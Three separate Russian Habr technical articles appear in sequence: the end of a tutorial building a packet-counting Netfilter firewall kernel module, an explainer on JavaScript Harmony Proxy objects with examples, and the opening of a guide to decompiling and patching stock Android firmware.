**5** – В kernel используется синтаксист C89 для написания, когда на C. Например (и главное) — в отличии от привычного C99, все переменные должны быть объявлены в самом начале функций и не могут быть объявлены в другой ее части. Если вы НЕ будете соблюдать это правило, код скомпилируется, но с warnings (что плохо и не для нас).
### Компиляция модуля
Обратите внимание (ниже на картинке) на Makefile. Он отличается от обычных программ в user space. Так выглядит весь процесс:
Модуль загружается специальной командой *“insmod ./module\_name.ko”* после чего запускается макрос *module\_init*. Модуль удаляется из памяти компьютера командной *“rmmod module\_name”*.
Проверяем. Просто загрузим модуль, а потом выгрузим и посмотрим на *dmesg*
Готово. На этом введение в модули закончено.
### Введение в Netfilter. Теория
*Netfilter* – это framework, встроенный в linux kernel, который позволяет производить различные сетевые операции. Нас будет интересовать перехват входящего и исходящего трафика.
Кстати, самая часто ассоциируемая программа с данным framework – *iptables*, которая позволяет динамично задавать правила фильтрации трафика (то есть — это ни что иное, как простой firewall) встроенный в Linux. В русской версии Wikipedia, почти не сделали различий между двумя терминами, что считаю не правильным, поэтому ссылку даю на английскую версию. [Wikipedia — Netfilter](https://en.wikipedia.org/wiki/Netfilter)
и на официальный сайт. На нем есть вся необходимая информация. [www.netfilter.org](http://www.netfilter.org/)
### Архитектура перехвата(hooking) трафика. Теория
Архитектура перехвата(hooking) трафика в Netfilter выглядит следующим образом:
[Фото](https://debian-handbook.info/browse/stable/sect.firewall-packet-filtering.html)
На схеме обозначены стадии, которые проходят пакеты после попадания на phy сетевой карты. Давайте рассмотрим поподробнее:
> *Prerouting* – сюда попадают все пакеты, которые пришли на сетевую карту устройства извне (например кто-то из сети, пытает послать нам mail, или мы на пути следования пакета и должны передать его дальше).
>
> *Forward* – если полученный пакет предназначен не для данного IP адреса, то операционная система перешлет его дальше (помните forward enable из предыдущей части?) или выкинет, если посчитает его ненужным.
>
> *Input* – сюда попадут все пакеты, которые предназначены для какой-либо аппликации. Например, это могут быть пакеты для браузера, после запроса какой-либо страницы.
>
> *Output* – тут появляются все пакеты, которые аппликации компьютера посылают в сеть (то есть не те, которым мы делаем forwarding). Например, тот самый запрос браузера получить страницу из интернета. Или ping.
>
> *Postrouting* – объединяет все исходящие пакеты.
Математически:
*Input data = Prerouting = Forward + Input*
*Output data = Postrouting = Output + Forward*
Конечно же, обычно *input != output* (если вы не поняли почему — то стоит перечитать тему еще раз или посмотреть дополнительно в интернете).
Например, после того как мы введём в строке браузера *[www.site.com](http://www.site.com)* то пакет пройдет две «остановки» прежде чем попадет в сеть – *Output* и *Postrouting*.
Когда site.com будет нам отвечать, то пакет пройдет две «станции», прежде чем попасть к браузеру - *Input data* и *Prerouting*.
Другие пакеты, например, с host1 -> host2, пройдут через *Input, Forward, Output.*
На каждой «остановке» мы сможем принять решение по поводу «пойманного пакета» — хотим ли мы его пропускать дальше, или нет (или что-то еще).
### Архитектура перехвата(hooking) трафика. Практика
Для интереса, мы придумаем правило – все пакеты которые предназначены для компьютера FW\_dev (тот где мы установим firewall), или которые FW\_dev посылает от своего имени другим компьютерам – мы позволим пройти (accept). Весь остальной трафик, мы закроем (deny). Конечная цель – подсчитать сколько пакетов прошло, сколько мы запретили и передать данные пользователю (в user space).
Для этого вначале модуля, определим несколько глобальных переменных.
```
static unsigned int accepted_num = 0;
static unsigned int dropped_num = 0;
```
Теперь установим hook functions, в нужные точки перехвата трафика. Для начала напишем сами функции. Все функции должны иметь заранее определенный тип:
```
unsigned int hook_func(unsigned int hooknum, struct sk_buff *skb,
const struct net_device *in, const struct net_device *out,
int (*okfn)(struct sk_buff *)) {}
```
Код функций:
```
// hook out packets, accept packet
unsigned int hook_func_out(unsigned int hooknum, struct sk_buff *skb,
const struct net_device *in, const struct net_device *out,
int (*okfn)(struct sk_buff *)) {
accepted_num++;
return NF_ACCEPT;
}
// hook in packets, accept packet
unsigned int hook_func_in(unsigned int hooknum, struct sk_buff *skb,
const struct net_device *in, const struct net_device *out,
int (*okfn)(struct sk_buff *)) {
accepted_num ++;
return NF_ACCEPT;
}
// hook forward packets, drop packet
unsigned int hook_func_forward(unsigned int hooknum, struct sk_buff *skb,
const struct net_device *in, const struct net_device *out,
int (*okfn)(struct sk_buff *)) {
dropped_num++;
return NF_DROP;
}
```
Следующий шаг – их необходимо зарегистрировать в системе, поэтому логично сделать это при загрузке модуля. Выглядит это следующим образом:
```
// hook functions structs for registration usage
static struct nf_hook_ops nfho_forward;
static struct nf_hook_ops nfho_out;
static struct nf_hook_ops nfho_in;
static int __init fw_module_init(void)
{
.....
// netfilter functions
printk("initialize kernel module\n");
nfho_in.hook = hook_func_in;
nfho_in.hooknum = NF_INET_LOCAL_IN;
nfho_in.pf = PF_INET;
nfho_in.priority = NF_IP_PRI_FIRST;
nf_register_hook(&nfho_in); // Register the hook
nfho_out.hook = hook_func_out;
nfho_out.hooknum = NF_INET_LOCAL_OUT;
nfho_out.pf = PF_INET;
nfho_out.priority = NF_IP_PRI_FIRST;
nf_register_hook(&nfho_out); // Register the hook
nfho_forward.hook = hook_func_forward;
nfho_forward.hooknum = NF_INET_FORWARD;
nfho_forward.pf = PF_INET;
nfho_forward.priority = NF_IP_PRI_FIRST;
nf_register_hook(&nfho_forward); // Register the hook
…
}
```
Тут стоит обратить внимание на поле *hooknum*, которому мы присваиваем значение, которое и определяет место перехвата пакетов и соответствует диаграмме выше. Последним шагом будет их удаление (дерегистрация) перед удалением модуля из ОС.
```
static void __exit fw_module_exit(void)
{
…
// net filter functions
nf_unregister_hook(&nfho_in);
nf_unregister_hook(&nfho_out);
nf_unregister_hook(&nfho_forward);
// end netfilter functions
…
}
```
Осталось проверить работу, а также добавить user interface, чтобы любой пользователь, мог считать данные с нашего модуля. Сначала проверим.
### Предфинальный код
```
#include
#include
#include "fw.h"
MODULE\_AUTHOR( AUTHOR);
MODULE\_DESCRIPTION( DESCRIPTION);
MODULE\_VERSION( VERSION);
MODULE\_LICENSE("GPL");
static unsigned int accepted\_num;
static unsigned int dropped\_num;
// hook functions
static struct nf\_hook\_ops nfho\_forward;
static struct nf\_hook\_ops nfho\_out;
static struct nf\_hook\_ops nfho\_in;
// hook out packets
unsigned int hook\_func\_out(unsigned int hooknum, struct sk\_buff \*skb, const struct net\_device \*in, const struct net\_device \*out, int (\*okfn)(struct sk\_buff \*)) {
printk("Get output packet, accept\n");
accepted\_num++;
return NF\_ACCEPT;
}
// hook in packets
unsigned int hook\_func\_in(unsigned int hooknum, struct sk\_buff \*skb, const struct net\_device \*in, const struct net\_device \*out, int (\*okfn)(struct sk\_buff \*)) {
printk("Get input packet, accept\n");
accepted\_num++;
return NF\_ACCEPT;
}
// hook forward packets
unsigned int hook\_func\_forward(unsigned int hooknum, struct sk\_buff \*skb, const struct net\_device \*in, const struct net\_device \*out, int (\*okfn)(struct sk\_buff \*)) {
printk("Get forward packet, drop\n");
dropped\_num++;
return NF\_DROP;
}
static int \_\_init fw\_module\_init(void) {
printk("Starting FW module loading\n");
accepted\_num = 0;
dropped\_num = 0;
nfho\_in.hook = hook\_func\_in;
nfho\_in.hooknum = NF\_INET\_LOCAL\_IN;
nfho\_in.pf = PF\_INET;
nfho\_in.priority = NF\_IP\_PRI\_FIRST;
nf\_register\_hook(&nfho\_in); // Register the hook
nfho\_out.hook = hook\_func\_out;
nfho\_out.hooknum = NF\_INET\_LOCAL\_OUT;
nfho\_out.pf = PF\_INET;
nfho\_out.priority = NF\_IP\_PRI\_FIRST;
nf\_register\_hook(&nfho\_out); // Register the hook
nfho\_forward.hook = hook\_func\_forward;
nfho\_forward.hooknum = NF\_INET\_FORWARD;
nfho\_forward.pf = PF\_INET;
nfho\_forward.priority = NF\_IP\_PRI\_FIRST;
nf\_register\_hook(&nfho\_forward); // Register the hook
return 0;
}
static void \_\_exit fw\_module\_exit(void)
{
printk("Removing FW module\n");
nf\_unregister\_hook(&nfho\_in);
nf\_unregister\_hook(&nfho\_out);
nf\_unregister\_hook(&nfho\_forward);
}
module\_init( fw\_module\_init);
module\_exit( fw\_module\_exit);
```
### Компилируем, загружаем модуль
Шлем с **host2** одно ping сообщение на **10.0.2.3** (мы ожидаем, что модуль пропустит его, потому что, **10.0.2.3** – внутренний интерфейс. Если бы сообщение было для **host1** – **10.0.1.1**, тогда мы бы его не пропустили)
смотрим на «логи», выгружаем модуль
### Что произошло?
> В 8354 – я загрузил модуль.
>
> В 8356 – мы обнаружили какой-то исходящий пакет. На данном этапе мы не можем знать, что это, но скорее всего один из пакетов *DHCP* интерфейса, который мы настроили.
>
> В 8359 – мы обнаружили входящий пакет — это был наш ping. После того как мы его получили, мы сразу послали ответ который и видим дальше.
>
> В 8359 – ответ на ping.
>
> В 8394 – выгрузили модуль.
На данном этапе можно поиграться с системой и убедиться, что трафик с **host1** -> **host2**, не проходит.
На этом пока все, список ссылок:
» [The Linux Kernel Module Programming Guide](http://www.tldp.org/LDP/lkmpg/2.6/html/lkmpg.html)
» [How to Write Your Own Linux Kernel Module with a Simple Example](http://www.thegeekstuff.com/2013/07/write-linux-kernel-module)
» <https://en.wikipedia.org/wiki/Netfilter>
[www.netfilter.org](http://www.netfilter.org/)
» [Firewall or Packet Filtering](https://debian-handbook.info/browse/stable/sect.firewall-packet-filtering.html) — тут я брал картинку :) | https://habr.com/ru/post/315350/ | null | ru | null |
# ES5 Harmony Proxy — меняем семантику JavaScript внутри самого JavaScript
Прокси — это новые объекты JavaScript для которых программист должен определить своё поведение. Стандартное поведение всех объектов определено в движке JavaScript, который чаще всего написан на C++. Прокси позволяют программисту определить практически любое поведение объекта JavaScript, они полезны для написания базовых объектов или оберток функций или для создания абстракций виртуальных объектов и предоставляют API для мета-программирования. Сейчас Прокси не входит в стандарт, но его стандартизация запланирована в ECMAScript Harmony. Чтобы избежать путаницы уточню, что эти Прокси не имеют ничего общего с прокси серверами.
#### Где их можно использовать
1. Общие промежуточные абстракции
2. Создание виртуальных объектов: обертки существующих объектов, удаленные(от слова далекий) объекты, ленивое создание объектов (Пример ORM — Ruby ActiveRecord, Groovy GORM)
3. Прозрачное ведение логов, трассировки, профилирования
4. Внедрение предметно-ориентированных языков
5. Динамический перехват несуществующих методов, создание отсутствующих методов (\_\_noSuchMethod\_\_)
6. База для специфичных итераторов
#### Понятия
1. Эта особенность языка называется «всеобъемлющий механизм»(ориг. catch-all mechanism) — это имя используется для описания этой особенности. В тексте будет использоваться оригинальное название.
2. Другое название понятию «всеобъемлющий механизм» — посредник (ориг. intercession API)
3. Объект, который обрабатывает свойство называется обработчик — handler
4. Объект, свойства которого заменяются называется прокси — proxy
5. Объект/метод, который создает прокси объекты называется фабрика прокси — proxy factory
6. Методы, входящие в обработчик, которые обрабатывают какое-либо поведение называются ловушки/перехватчики traps (по аналогии с операционными системами)
7. Прокси может быть захватывающим/активным (ориг. trapping) или быть распущенным (ориг. fixed)
#### Как с ними работать — API
Существует два вида фабрик прокси. Одна для для объектов другая для функций.
**Конструктор прокси-объекта:**
```
var proxy = Proxy.create(handler, proto);
```
**Конструктор прокси-функции:**
```
var proxy = Proxy.createFunction(handler, callTrap, constructTrap);
```
**proto** — не обязательный параметр, определяющий прототип прокси
**callTrap** — функция, которая будет замещать оригинальную функцию при прямом вызове прокси-функции (пример ниже все объяснит). Важно: this замещающей функции (callTrap) совпадает с this замещаемой.
**constructTrap** — не обязательный параметр — функция, которая будет заменять оригинальный конструктор функции при вызове через new. Важно: this замещающей функции (constructTrap) всегда undefined. Если constructTrap не передан, то используется callTrap в котором this делегирует от proxy.prototype (обычное поведение конструкторов ES5 Глава 13.2.2)
**handler** — объект, которые определяет поведение прокси. Этот объект должен всегда содержать Базовые ловушки (traps)
##### Базовые ловушки/перехватчики (Fundamental traps)
Как это читать: `имяПерехватчика: function(переменные, которые_передаются_перехватчику) -> {Тип возвращаемых данных} // Что заменяет`
```
{
getOwnPropertyDescriptor: function(name) -> {PropertyDescriptor | undefined}
// Object.getOwnPropertyDescriptor(proxy, name)
getPropertyDescriptor: function(name) -> {PropertyDescriptor | undefined}
// Object.getPropertyDescriptor(proxy, name) (not in ES5)
getOwnPropertyNames: function() -> {String[]}
// Object.getOwnPropertyNames(proxy)
getPropertyNames: function() -> {String[]}
// Object.getPropertyNames(proxy) (not in ES5)
defineProperty: function(name, propertyDescriptor) -> {Mixed}
// Object.defineProperty(proxy,name,pd)
delete: function(name) -> {Boolean}
// delete proxy.name
fix: function() -> {{String:PropertyDescriptor}[]|undefined}
// Object.{freeze|seal|preventExtensions}(proxy)
}
```
##### Производные ловушки/перехватчики (Derived traps)
Эти перехватчики не обязательны, если они не будут определены, то будет использоваться логика по умолчанию.
```
{
has: function(name) -> {Boolean}
// if (name in proxy) ...
hasOwn: function(name) -> {Boolean}
// ({}).hasOwnProperty.call(proxy, name)
get: function(receiver, name) -> {Mixed}
// receiver.name;
set: function(receiver, name, val) -> {Boolean}
// receiver.name = val;
enumerate: function() -> {String[]}
// for (name in proxy) Возвращает массив имен своих и унаследованные перечисляемых объектов
keys: function() -> {String[]}
// Object.keys(proxy) Возвращает массив своих перечисляемых объектов
}
```
По умолчанию будет выполняться [следующая логика](http://wiki.ecmascript.org/doku.php?do=show&id=harmony:proxies#trap_defaults)
В виде таблицы можно посмотреть [тут](https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Proxy)
Производными ловушки называются «производными» потому, что они могут быть определены базовыми ловушками. Например, ловушка has может быть определена, используя ловушку getPropertyDescriptor (проверить возвращает undefined или нет). С помощью производных перехватчиков можно с меньшими затратами эмулировать свойства, поэтому они и были определены. Ловушка fix была введена для того, чтобы позволить прокси взаимодействовать с `Object.preventExtensions`, `Object.seal` и `Object.freeze`. Нерасширеямый, запечатанный или замороженный объект (non-extensible, sealed, frozen) должен каким-либо образом ограничить свободу обработчика (handler) т.е. то, что он должен возвратить в будущих вызовах `set, get` итп. Например, если предыдущий вызов `handler.get(p, “foo”)` возвратил не undefined, то будущие вызовы `handler.get(p, "foo")` обязаны возвращать такое же значение, если объект заморожен (frozen). Каждый раз, когда прокси пытаются заморозить, запечатать, заблокировать (non-extensible, sealed or frozen) вызывается ловушка `"fix"` обработчика.
**Обработчик fix имеет 2 варианта:**
1. отклонить запрос (fix должен возвратить undefined), тогда будет вызвано исключение TypeError.
2. выполнить запрос и возвратить описание объекта в виде `{String:PropertyDescriptor}[]` в этом случае «всеобъемлющий механизм» создаст новый объект, основываясь на описании объекта. В этот момент удаляются все ссылки на обработчик (он может быть удален сборщиком мусора). В этом случае прокси называется распущенным.
#### Примеры
##### Hello, Proxy!
Следующий кусок кода создает прокси, который прерывает доступ к свойствам и возвращает для каждого свойства «p» значение «Hello, p»:
```
var p = Proxy.create({
get: function(proxy, name) {
return 'Hello, '+ name;
}
});
document.write(p.World); // Напечатает 'Hello, World'
```
[Живой пример](http://soft.vub.ac.be/~tvcutsem/proxies/assets/proxy_examples/helloproxy.html)
##### Простой профайлер
Создадим простую обертку, которая считает сколько раз какое свойство было получено:
```
function makeSimpleProfiler(target) {
var forwarder = new ForwardingHandler(target);
var count = Object.create(null);
forwarder.get = function(rcvr, name) {
count[name] = (count[name] || 0) + 1;
return this.target[name];
};
return {
proxy: Proxy.create(forwarder,
Object.getPrototypeOf(target)),
get stats() { return count; }
};
}
```
Функция makeSimpleProfiler получает в качестве аргумента объект, который мы хотим мониторить. Она возвращает объект, имеющий 2 свойства: сам прокси и stats — количество вызовов.
[Живой пример](http://soft.vub.ac.be/~tvcutsem/proxies/assets/proxy_examples/profiler.html)
Функция ForwardingHandler в строке два функции makeSimpleProfiler создает простой переадресующий проки, который прозрачно делегирует все операции, выполняемые над прокси, целевому объекту. Вот как она выглядит:
```
function ForwardingHandler(obj) {
this.target = obj;
}
ForwardingHandler.prototype = {
has: function(name) { return name in this.target; },
get: function(rcvr,name) { return this.target[name]; },
set: function(rcvr,name,val) { this.target[name]=val;return true; },
delete: function(name) { return delete this.target[name]; }
enumerate: function() {
var props = [];
for (name in this.target) { props.push(name); };
return props;
},
iterate: function() {
var props = this.enumerate(), i = 0;
return {
next: function() {
if (i === props.length) throw StopIteration;
return props[i++];
}
};
},
keys: function() { return Object.keys(this.target); },
...
};
Proxy.wrap = function(obj) {
return Proxy.create(new ForwardingHandler(obj),
Object.getPrototypeOf(obj));
}
```
С полной версией этой функции можно ознакомиться [тут](http://code.google.com/p/es-lab/source/browse/trunk/src/proxies/forwardingHandler.js). Этот переаресующий обработчик (forwarding handler) скорее всего станет [частью стандарта](http://wiki.ecmascript.org/doku.php?id=harmony:proxy_defaulthandler).
##### Удаленные объекты
Прокси позволяют вам создавать виртуальные объекты, которые могут эмулировать удаленные объекты или существующие объекты. Для демонстрации давайте создадим обертку вокруг существующей библиотеки для удаленной коммуникации в JavaScript. Библиотека web\_send Tyler Close'а может быть использована для создания удаленных связей с объектами, расположенными на сервере. Теперь мы можем вызывать методы по HTTP POST запросам, используя эту удаленную связь. К сожалению, удаленные связи не могут быть использованы как объекты.
Сравним. Для вызова удаленной функции изначально нужно было вызывать:
```
Q.post(ref, 'foo', [a,b,c]);
```
Используя прокси мы можем сделать этот вызов более естественным, напишем нашу обертку:
```
function Obj(ref) {
return Proxy.create({
get: function(rcvr, name) {
return function() {
var args = Array.prototype.slice.call(arguments);
return Q.post(ref, name, args);
};
}
});
}
```
Теперь мы можем делать вот так `Obj(ref).foo(a,b,c)`.
##### Эмуляция \_\_noSuchMethod\_\_
Используя Прокси возможно эмулировать хук \_\_noSuchMethod\_\_ в тех браузерах, которые его не поддерживают (но сейчас это не актуально).
```
function MyObject() {};
MyObject.prototype = Object.create(NoSuchMethodTrap);
MyObject.prototype.__noSuchMethod__ = function(methodName, args) {
return 'Hello, '+ methodName;
};
new MyObject().foo() // returns 'Hello, foo'
```
Этот объект использует NoSuchMethodTrap-прокси в котором ловушка get заменяет оригинальный \_\_noSuchMethod\_\_.
```
var NoSuchMethodTrap = Proxy.create({
get: function(rcvr, name) {
if (name === '__noSuchMethod__') {
throw new Error("receiver does not implement __noSuchMethod__ hook");
} else {
return function() {
var args = Array.prototype.slice.call(arguments);
return this.__noSuchMethod__(name, args);
}
}
}
});
```
[Живой пример](http://soft.vub.ac.be/~tvcutsem/proxies/assets/proxy_examples/noSuchMethod.html)
##### Сообщения высшего порядка
Сообщения высшего порядка это сообщения, получающие другие сообщения в качестве аргумента, как описано [тут](http://www.metaobject.com/papers/Higher_Order_Messaging_OOPSLA_2005.pdf).
Сообщения высшего порядка похожи на функции высшего порядка, но они более емкие в коде. Используя прокси очень просто создавать сообщения высшего порядка. Рассмотрим специальный объект "\_", который переделывает сообщения в функции:
```
var msg = _.foo(1,2)
msg.selector; // "foo"
msg.args; // [1,2]
msg(x); // x.foo(1,2)
```
msg это функция, которая использует один аргумент, как если бы она была определена как `function(z) { return z.foo(1,2); }`. Следующий пример это прямая интерпретация СВП из вышеупомянутых документов, но написанная более емким кодом:
```
var words = "higher order messages are fun and short".split(" ");
String.prototype.longerThan = function(i) { return this.length > i; };
// используем СВП для обработки сообщения как функции
document.write(words.filter(_.longerThan(4)).map(_.toUpperCase()));
// Без СВП этот код был бы таким:
// words.filter(function (s) { return s.longerThan(4) })
// .map(function (s) { return s.toUpperCase() })
```
Вот код объекта "\_":
```
// превращает сообщение в функцию
var _ = Proxy.create({
get: function(_, name) {
return function() {
var args = Array.prototype.slice.call(arguments);
var f = function(rcvr) {
return rcvr[name].apply(rcvr, args);
};
f.selector = name;
f.args = args;
return f;
}
}
});
```
[Живой пример](http://soft.vub.ac.be/~tvcutsem/proxies/assets/proxy_examples/hom.html)
##### Эмуляция базовых объектов
Прокси дают Javascript программистам возможность эмулировать странности базовых объектов, таких как DOM. Это позволяет авторам библиотек оборачивать базовые объекты для того, чтобы их «приручить» (прим. Песочницы) или исправить их для сокращения кросс-браузерной несовместимости.
##### Прокси-функции
Предыдущие примеры использовали объекты. Вот простой пример прокси-функции:
```
var simpleHandler = {
get: function(proxy, name) {
// can intercept access to the 'prototype' of the function
if (name === 'prototype') return Object.prototype;
return 'Hello, '+ name;
}
};
var fproxy = Proxy.createFunction(
simpleHandler,
function() { return arguments[0]; }, // call trap
function() { return arguments[1]; }); // construct trap
fproxy(1,2); // 1
new fproxy(1,2); // 2
fproxy.prototype; // Object.prototype
fproxy.foo; // 'Hello, foo'
```
[Живой пример](http://soft.vub.ac.be/~tvcutsem/proxies/assets/proxy_examples/hellofproxy.html)
Прокси-функции открывают возможности для написания особых идиом, которые были нам не доступны в чистом JavaScript. В первую очередь функции-прокси могут создать из любого объекта функцию (callable object):
```
function makeCallable(target, call, construct) {
return Proxy.createFunction(
new ForwardingHandler(target),
call,
construct || call);
}
```
Второе, функции-прокси можно использовать для создания псевдо-классов, сущности которых функции(instances are callable).
```
function Thing() {
/* initialize state, etc */
return makeCallable(this, function() {
/* actions to perform when instance
is called like a function */
});
}
```
#### Эксперименты с новой семантикой
Для любителей языка: Прокси могут быть использованы для создания «стандартных» объектов и функций JavaScript в самом JavaScript. Возможность менять семантику объектов JavaScript внутри JavaScript значительно упрощает механизм внесения мелких изменений в семантику для проведения экспериментов. Частичную реализацию семантик внутри JavaScript можно наблюдать в [значениях ловушек по умолчанию](http://wiki.ecmascript.org/doku.php?do=show&id=harmony:proxies#trap_defaults). Другой пример: [Массивы JavaScript](https://github.com/DavidBruant/ProxyArray) внутри JavaScript, используя Прокси.
#### Советы по использованию прокси
##### Избегайте рекурсий
Избегайте неявных вызовов toString внутри ловушек. Будьте аккуратны с аргументом receiver ловушек get и set. receiver представляет ссылку на прокси, поэтому неявно вызвав get и set приведет к бесконечной рекурси. Например вызов console.log(receiver) для дебага внутри сеттера вызовет метод toString, который приведет к бесконечной рекурсии.
```
get: function(receiver, name) {
print(receiver);
return target[name];
}
```
Если `p` это прокси, который использует ловушку выше, тогда вызов `p.foo` приведет к бесконечному циклу: Сперва ловушка `get` будет вызвана с `name="foo"`, которая печатает `receiver` (т.е. `p`). Это приводит к вызову `p.toString()`, который приведет к вызову ловушки ещё раз в этот раз с `name="toString"`. И так далее.
##### Прокси как обработчики
Прокси обработчики сами могут быть прокси. Прокси трейсер ниже доменстрирует этот паттерн, он используется для создания «туннелирования» всех операций для обработчику через одну ловушку get.
###### Прокси трейсер/Прокси зонд
[Трейсер](http://code.google.com/p/es-lab/source/browse/trunk/src/proxies/tracer.html) просто печатает описание всех операций, который он обрабатывал. Это очень полезно для дебага или для изучения работы прокси.
[Живой пример](http://soft.vub.ac.be/~tvcutsem/proxies/assets/proxy_examples/tracer.html)
[Зонд](http://code.google.com/p/es-lab/source/browse/trunk/src/proxies/probe.html) имеет схожую с трейсером логику он логирует все мета-уровневые операции, примененные к нему.
[Живой пример](http://soft.vub.ac.be/~tvcutsem/proxies/assets/proxy_examples/probe.html)
#### Когда это можно будет использовать?
Сейчас только Firefox 4.0 поддерживает прокси. Есть реализация прокси для Node.js в виде расширения: [node-overload](http://github.com/bmeck/node-overload) (частичная поддержка) [node-proxy](https://github.com/isaacs/node-proxy) (практически полная поддержка). В любом случае Прокси будут внесены в стандарт так, что скоро он появится и в вашем браузере!
#### Дополнительные ресурсы
1. [ECMAScript Harmony](http://wiki.ecmascript.org/doku.php?id=harmony:proxies)
2. [Документация](https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Proxy) на The Mozilla Developer Network
3. Разработка стандарта: первая часть этого [Google Tech Talk](http://www.youtube.com/watch?v=A1R8KGKkDjU) и вот [эта бумага](http://soft.vub.ac.be/~tvcutsem/proxies/assets/proxies.pdf), показанная на [DLS 2010](http://www.dynamic-languages-symposium.org/).
4. Brendan Eich, в своем [блоге](http://brendaneich.com/2010/11/proxy-inception/) кратко объясняет основы Прокси.
5. Частичный [список](https://bugzilla.mozilla.org/buglist.cgi?query_format=advanced&short_desc=harmony%20proxies&bug_status=UNCONFIRMED&bug_status=NEW&bug_status=ASSIGNED&bug_status=REOPENED&bug_status=VERIFIED&short_desc_type=allwordssubstr&component=JavaScript%20Engine&resolution=---&resolution=DUPLICATE) открытых проблем Прокси в Firefox 4.
6. [Слайды](http://www.slideshare.net/BrendanEich/metaprog-5303821?from=ss_embed) Brendan Eich из его оклада на jsconf
#### Использованные в статье ресурсы
1. [MDC Proxy (DRAFT)](https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Proxy)
2. [ES5 Catch-all Proxies](http://wiki.ecmascript.org/doku.php?id=harmony:proxies)
3. [Proxy Inception](http://brendaneich.com/2010/11/proxy-inception/) (Brendan Eich)
4. [Tutorial: Harmony Proxies](http://soft.vub.ac.be/~tvcutsem/proxies/) (Tom Van Cutsem)
Если вам что-то не понятно, пожалуйста, задавайте свои вопросы или посмотрите [слайды](http://www.slideshare.net/BrendanEich/metaprog-5303821?from=ss_embed). Предложения, пожелания, критика приветствуется! | https://habr.com/ru/post/117915/ | null | ru | null |
# Модификация стоковых прошивок для Android. Часть 1
Здравствуй Хабр!
Несколько лет назад, когда я впервые познакомился с Android, я услышал от своего коллеги по работе, что Android предусматривает возможность установки модифицированных или самодельных прошивок. Признаться, тогда я был далек от этого. И даже пол года назад меня едва интересовали подобные вещи. Глубоко в душе, я был уверен: то, что делает производитель, уже предназначено для нормального использования.
Каково же было мое разочарование, когда я приобрел телефон из поднебесной, где заводскими настройками было запрещено использование Google, Skype, Facebook и других приложений. В принципе, на некоторые вещи можно было закрыть глаза, но когда мой телефон не подразумевал использование учетной записи Google — я взял с себя обещания обязательно разобраться во что бы мне это не стало.
Прошло пол года и мои кастомные прошивки с успехом используются по всему миру.
В данной серии статей пойдет речь о том, как делать reverse программирование для Android, реализовывать патчи, твики и моды.
#### Преамбула
И так! Давайте сперва определимся с понятиями, которые будут использоваться в данной статье. Ваше привычное понимание, при этом, может сильно отличаться.
**Патч** — изменение или замена существующего программного кода с целью модификации алгоритма программы.
**Мод** — как правило, добавление дополнительного функционала в существующий программный код без изменения алгоритма.
**Твик** — усовершенствование функционала программы с целью облегчения доступа к параметрам системы.
Также хочу заметить, что все примеры будет взяты для телефона HTC, но это не значит, что данная информация не может быть использована на других телефонах.
Обращаю ваше внимание, что я, как автор, не несу ответственности за возможную потерю данных на вашем телефоне в результате использования информации ниже.
#### Подготовка среды
Обойдусь без подробных инструкций как пользоваться тем или иным программным обеспечением. Если вам интересна данная статья и вы дочитали до этих строк, то я надеюсь, что вы уже опытный пользователь и имеете опыт использования, ну или хотя бы экспериментирования в данной области. Инструкций, статей и результатов тестирования полно в открытом доступе, впрочем, как и на Хабре. Также обойдусь без описания некоторых терминов, иначе статья получится очень большой и нудной. Будем писать только по делу. Уверен, что среда у вас уже давно стоит. Если нет, то предлагаю скачать и установить.
**1**. [**Android SDK**](http://developer.android.com/sdk/index.html). Это среда разработки приложений для Андроид. Для того чтобы делать модификации, нам обязательно придется проверять наш программный код. Среда разработки самое лучшее, что мы можем использовать.
**2**. [**Android Kitchen**](http://forum.xda-developers.com/showthread.php?t=633246). Данная утилита позволит вам работать с образами системных партиций официальной ну или неофициальной прошивки.
**3**. [**JD-GUI**](http://java.decompiler.free.fr/?q=jdgui). Декомпилятор программного кода языка Java. Сразу отмечу, что это самый лучший декомпилятор в плане удобства использования.
**4**. [**DJ Java Decompiler**](http://www.neshkov.com/dj.html). Еще один декомпилятор, или дизассемблер, как некоторые любят называть, программного кода языка Java. Не удобен в плане использования, но разбирает код, который иногда не понимает JD-GUI.
**5**. [**smali**](https://code.google.com/p/smali/). Еще один дизассемблер, но уже [dalvik](http://ru.wikipedia.org/wiki/Dalvik_virtual_machine) кода. smali нужен для дизассемблирования, а backsmali ассемблирования кода.
**6**. [**dex2jar**](https://code.google.com/p/dex2jar/). Утилита для конвертации исполняемых файлов Dalvik кода.
#### Преобразование прошивки
Разумеется, прошивка, которая стоит у вас на телефон от производителя оптимизирована с целью сокращения энергопотребления. Для того чтобы прошивку можно было изменять, ее необходимо преобразовать в формат, позволяющий изменять код. Для этого используется Android Kitchen. Можно конечно и руками, как я и делал раньше, пока не нашел эту самую «кухню». Как вытаскивать системную область из телефона, устанавливать среду, делать DEODEX прошивки, вы можете прочитать в интернете. Если вам уже ничего не понятно, я думаю стоит повременить со статьей, пока вы не наберете достаточно опыта.
После того, как прошивка из оптимизированного вида (ODEX — оптимизированный dalvik исполняемый код, если мне не изменяет память) стала DEODEX (то бишь НЕ оптимизированной), все исполняемые файлы готовы к модификации.
#### Непосредственно модификации
##### Создание патчей
Как я уже и рассказывал, мой телефон изначально имел запрет на использование Google. Ну хоть ты тресни, на Playstore не зайти, учетную запись не настроить, телефонная книга толком не синхронизируется. Зачем нужен такой Android? Долго копаясь в логах (logcat) самого устройства, я нашел записи, которые говорили о том, что использование Google запрещено. Самое не удобное в Android, вы видите лог, но не знаете какое системное приложение его производит. Чтобы отыскать от куда ноги растут, мне пришлось распотрошить все системные приложения до дизассемблированного Java кода. Это заняло достаточно времени, но я до сих пор пользуюсь проделанной работой при анализе и поиске нужного кода. Этапы получения подобного инструментария следующие:
**1**. Сделать DEODEX всей прошивки
**2**. Вашу новую DEODEX прошивку надо будет собрать и прошить на телефон. Как это делается — тема другой статьи.
**3**. Из каждого файла, находящегося в /system/framework вытащить файл classes.dex и переконвертировать в JAR посредством dex2jar.
**4**. Каждый полученный JAR открыть в JD-GUI и пере-сохранить в исходный код
**5**. Распаковать исходный код из архива.
В итоге у меня получилось столько папок, сколько было JAR файлов в /system/framework, и каждая папка имела структуру исходных кодов Java.
Путем несложных манипуляций, я быстро отыскал то место, которое генерировало записи в logcat.
Не будем рассматривать всю логику запрета, так как для каждого случая это отдельная история. Мне пришлось потратить пару часов, прежде чем я нашел где производятся проверки, построить в голове блок схему алгоритма и понять куда надо лезть, чтобы алгоритм чуть чуть «попортить».
